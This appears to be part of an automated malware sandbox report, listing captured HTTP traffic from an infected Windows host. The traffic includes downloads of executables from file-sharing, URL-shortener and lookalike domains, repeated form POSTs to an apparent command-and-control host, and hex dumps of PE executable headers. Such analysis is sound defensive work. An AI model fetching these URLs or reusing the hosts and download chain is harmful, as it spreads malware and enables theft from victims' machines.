Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:50 GMTContent-Type: application/x-msdos-programContent-Length: 347136Connection: closeLast-Modified: Fri, 31 Dec 2021 18:12:01 GMTETag: "54c00-5d4751b8a1d64"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 23 4f a3 99 42 21 f0 99 42 21 f0 99 42 21 f0 0a 0c b9 f0 98 42 21 f0 f6 34 bf f0 88 42 21 f0 f6 34 8b f0 f6 42 21 f0 90 3a b2 f0 9a 42 21 f0 99 42 20 f0 28 42 21 f0 f6 34 8a f0 ae 42 21 f0 f6 34 bb f0 98 42 21 f0 f6 34 bc f0 98 42 21 f0 52 69 63 68 99 42 21 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 73 43 07 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 12 04 00 00 d6 33 00 00 00 00 00 b0 48 02 00 00 10 00 00 00 30 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 38 00 00 04 00 00 7d 59 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 10 04 00 28 00 00 00 00 70 37 00 90 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 00 50 22 00 00 30 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 10 04 00 00 10 00 00 00 12 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 0c 2a 33 00 00 30 04 00 00 8c 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 61 78 69 66 75 7a 05 00 00 00 00 60 37 00 00 02 00 00 00 a2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 4e 00 00 00 70 37 00 00 50 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 de 56 00 00 00 c0 37 00 00 58 00 00 00 f4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:53 GMTContent-Type: application/x-msdos-programContent-Length: 350720Connection: closeLast-Modified: Fri, 31 Dec 2021 18:12:01 GMTETag: "55a00-5d4751b8bb3a4"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 23 4f a3 99 42 21 f0 99 42 21 f0 99 42 21 f0 0a 0c b9 f0 98 42 21 f0 f6 34 bf f0 88 42 21 f0 f6 34 8b f0 f6 42 21 f0 90 3a b2 f0 9a 42 21 f0 99 42 20 f0 28 42 21 f0 f6 34 8a f0 ae 42 21 f0 f6 34 bb f0 98 42 21 f0 f6 34 bc f0 98 42 21 f0 52 69 63 68 99 42 21 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 17 37 f4 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 20 04 00 00 d6 33 00 00 00 00 00 40 56 02 00 00 10 00 00 00 30 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 38 00 00 04 00 00 67 a4 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 1d 04 00 28 00 00 00 00 70 37 00 90 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 00 4c 22 00 00 30 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 1e 04 00 00 10 00 00 00 20 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 0c 2a 33 00 00 30 04 00 00 8c 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 69 78 69 00 00 00 05 00 00 00 00 60 37 00 00 02 00 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 4e 00 00 00 70 37 00 00 50 00 00 00 b2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 de 56 00 00 00 c0 37 00 00 58 00 00 00 02 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Fri, 31 Dec 2021 18:12:58 GMTContent-Type: application/x-msdos-programContent-Length: 645592Connection: closeLast-Modified: Wed, 08 Dec 2021 03:32:46 GMTETag: "9d9d8-5d29a24b21380"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:22 GMTContent-Type: application/x-msdos-programContent-Length: 844800Connection: closeLast-Modified: Mon, 27 Dec 2021 16:22:27 GMTETag: "ce400-5d4231c541a6e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 92 ed 9f 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 9e 0b 00 00 26 09 00 00 00 00 00 30 ee 09 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 48 00 00 04 00 00 92 c0 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 9c 0b 00 28 00 00 00 00 40 14 00 90 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 28 21 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 9d 0b 00 00 10 00 00 00 9e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 b0 0b 00 00 8c 00 00 00 a2 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 75 77 75 00 00 00 05 00 00 00 00 20 14 00 00 02 00 00 00 2e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 61 78 00 00 00 00 93 0d 00 00 00 30 14 00 00 0e 00 00 00 30 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 b2 33 00 00 40 14 00 00 64 00 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 40 00 00 00 00 48 00 00 42 00 00 00 a2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 31 Dec 2021 18:13:26 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Fri, 31 Dec 2021 09:21:26 GMTETag: "181490-5d46db1fb73a3"Accept-Ranges: bytesContent-Length: 1578128Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2e 01 00 00 82 03 00 00 00 00 00 00 50 3f 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 40 00 00 04 00 00 63 e0 18 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 3d 00 58 01 00 00 00 50 3d 00 1c f6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 61 64 61 74 61 00 00 00 30 3d 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 61 64 61 74 61 00 00 00 10 00 00 00 40 3d 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c f6 01 00 00 50 3d 00 1c f6 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 65 78 74 00 00 00 00 80 01 00 00 50 3f 00 51 7d 01 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /attachments/916319571638620172/925647741571452938/Pyroxylic.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /3eHgQQR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bit.ly
Source: global traffic	HTTP traffic detected: GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bitly.com
Source: global traffic	HTTP traffic detected: GET /%28/8V4TRR/q.exe%29.zip HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /u8txqc HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: short.link
Source: global traffic	HTTP traffic detected: GET /dogewallet-setup.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: dodecoin.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxdjiru.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mmvvc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://svqrvcsnva.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bqubwhk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fxnxroil.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pvpowvbl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fwoddy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qletm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gshkfpnjsj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 220Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/5376_1640094939_1074.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eiahpr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xleusjfhnf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://maqeavkm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ofuehyq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mcmkh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ykycncaclo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldhnslyi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aeeqrthiih.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jrwnk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kquxqntakf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hqtfgqvcew.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bpjejftnc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: host-data-coin-11.com
